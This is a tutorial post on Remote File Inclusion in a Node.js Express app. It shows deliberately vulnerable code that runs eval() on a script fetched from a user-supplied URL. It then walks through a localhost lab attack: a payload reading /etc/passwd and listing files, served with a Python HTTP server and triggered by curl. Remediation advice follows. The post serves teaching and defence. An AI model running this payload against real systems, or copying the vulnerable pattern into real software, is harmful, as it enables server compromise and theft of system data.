Remote File Inclusion: How a Single URL Parameter Can Give Attackers Full Control of Your Server

#cybersecurity #todayilearned #tutorial #security

Remote File Inclusion (RFI) is a web vulnerability where an application accepts a URL from user input, fetches the file at that URL, and executes it. When there is no validation on what URLs are allowed, an attacker can point the application to a malicious script on their own server and get it executed remotely.

This pattern shows up in automation tools, plugin systems, and CI/CD pipelines. The idea of loading scripts from a URL seems useful, but without strict controls, it becomes a direct path to remote code execution.

Here is a simplified example of vulnerable server-side code:

// Vulnerable automation runner - DO NOT USE IN PRODUCTION
const express = require('express');
const http = require('http');
const https = require('https');
const app = express();

app.get('/api/automation/run', (req, res) => {
  const scriptUrl = req.query.scriptUrl;
  const startTime = Date.now();

  const parsedUrl = new URL(scriptUrl);
  const client = parsedUrl.protocol === 'https:' ? https : http;

  client.get(scriptUrl, (response) => {
    let data = '';

    response.on('data', (chunk) => {
      data += chunk;
    });

    response.on('end', () => {
      // VULNERABLE: executes fetched script without sandboxing or validation
      const output = eval(data);
      const executionTime = Date.now() - startTime;

      res.json({
        status: 'success',
        output: output,
        executionTimeMs: executionTime
      });
    });
  });
});

app.listen(8080, () => {
  console.log('Server running on port 8080');
});

The core problem with the code above:

It accepts any URL from user input without validation
It fetches and runs that URL's content using eval()
There is no sandboxing or restriction on what the script can do
The code runs with the same privileges as the application itself

Ethical Considerations

This is for educational purposes only. You should only test for RFI on systems you own or have explicit permission to test. Unauthorized testing is illegal and can lead to serious legal consequences.

If you find RFI vulnerabilities in real applications, follow responsible disclosure and report them to the application owner through proper channels.

Step 1: Discover Available Endpoints

The first step is finding which endpoints the application exposes. In this training environment, an API listing endpoint makes discovery straightforward.

curl http://localhost:8080/api | jq

The response reveals two endpoints:

GET /api/automation/run - Executes a remote JavaScript script from a user-supplied URL using the scriptUrl query parameter. The description explicitly notes this endpoint contains an RFI vulnerability.
GET /api/ - Returns the endpoint listing itself, provided for training purposes to help learners understand the attack surface.

The automation endpoint is the vulnerable entry point. In real-world scenarios, endpoint discovery would require fuzzing, directory brute force, or source code review since API listings are rarely exposed.

Step 2: Explore the Vulnerable Endpoint

The target application exposes an API endpoint that runs automation scripts from external URLs. When you send a request to this endpoint with a scriptUrl parameter, the server fetches and executes the JavaScript file at that URL.

curl http://localhost:8080/api/automation/run

This shows what the endpoint expects before we supply a URL.

The response confirms the endpoint needs a scriptUrl query parameter. This is the entry point for the attack. Any URL you supply here will be fetched and executed by the server.

Step 3: Create the Malicious Payload

The payload is a JavaScript file that collects sensitive system information when the server executes it. It reads hostname, user info, current working directory, the contents of /etc/passwd, and lists files in the application directory.

// [SIMULATION] Example malicious payload - for educational purposes only
(function() {
  const fs = require('fs');
  const os = require('os');

  const result = {
    hostname: os.hostname(),
    user: os.userInfo().username,
    cwd: process.cwd(),
    etc_passwd: fs.readFileSync('/etc/passwd', 'utf8'),
    app_files: fs.readdirSync('./')
  };

  return JSON.stringify(result, null, 2);
})()

In real attacks, payloads can go further by installing backdoors, exfiltrating environment variables with secrets, or moving to other internal systems.

Step 4: Host the Payload

For the attack to work, the payload needs to be reachable by the vulnerable server. A simple Python HTTP server is enough to serve the file.

python3 -m http.server 9000

This starts a server on port 9000 in the current directory, making payload.js available over HTTP.

The server is now listening and will serve payload.js to any client that requests it, including the vulnerable application.

Step 5: Execute the Attack

With the payload hosted, the next step is sending a request to the vulnerable endpoint with the scriptUrl pointing to the malicious file.

curl "http://localhost:8080/api/automation/run?scriptUrl=http://localhost:9000/payload.js"

The vulnerable application receives this request, fetches payload.js from the attacker's server, and runs it with eval().

The response contains the hostname, username, current working directory, contents of /etc/passwd, and a list of application files. The attacker now has arbitrary code execution on the server with no authentication needed.

Remediation

Validate and whitelist URLs. Only allow script execution from a predefined list of trusted sources. Never accept arbitrary URLs from user input.

const allowedSources = [
  'https://trusted-cdn.example.com',
  'https://internal-scripts.example.com'
];

function isValidScriptUrl(url) {
  const parsed = new URL(url);
  return allowedSources.includes(parsed.origin);
}

Disable remote file loading if not needed. If the application does not require external scripts, remove the feature entirely and use local file paths instead.

Apply the principle of least privilege. Run the application process with minimal permissions. If the process cannot read /etc/passwd or access sensitive directories, the damage from RFI is limited.

Sanitize all input. Treat every user-supplied value as untrusted. Validate URL parameters against strict patterns before using them in any operation.

Summary

RFI is a critical vulnerability that turns a URL parameter into a remote code execution path. The attack requires no special tools: an attacker only needs to host a script somewhere reachable and pass its URL to the vulnerable endpoint.

Key takeaways:

RFI happens when applications load and execute files from user-supplied URLs without validation
Attackers can use it to read sensitive files, run commands, and fully compromise a server
Whitelisting allowed script sources is the most direct fix
Disable remote file loading entirely if the feature is not needed
Least privilege limits the damage when a vulnerability is exploited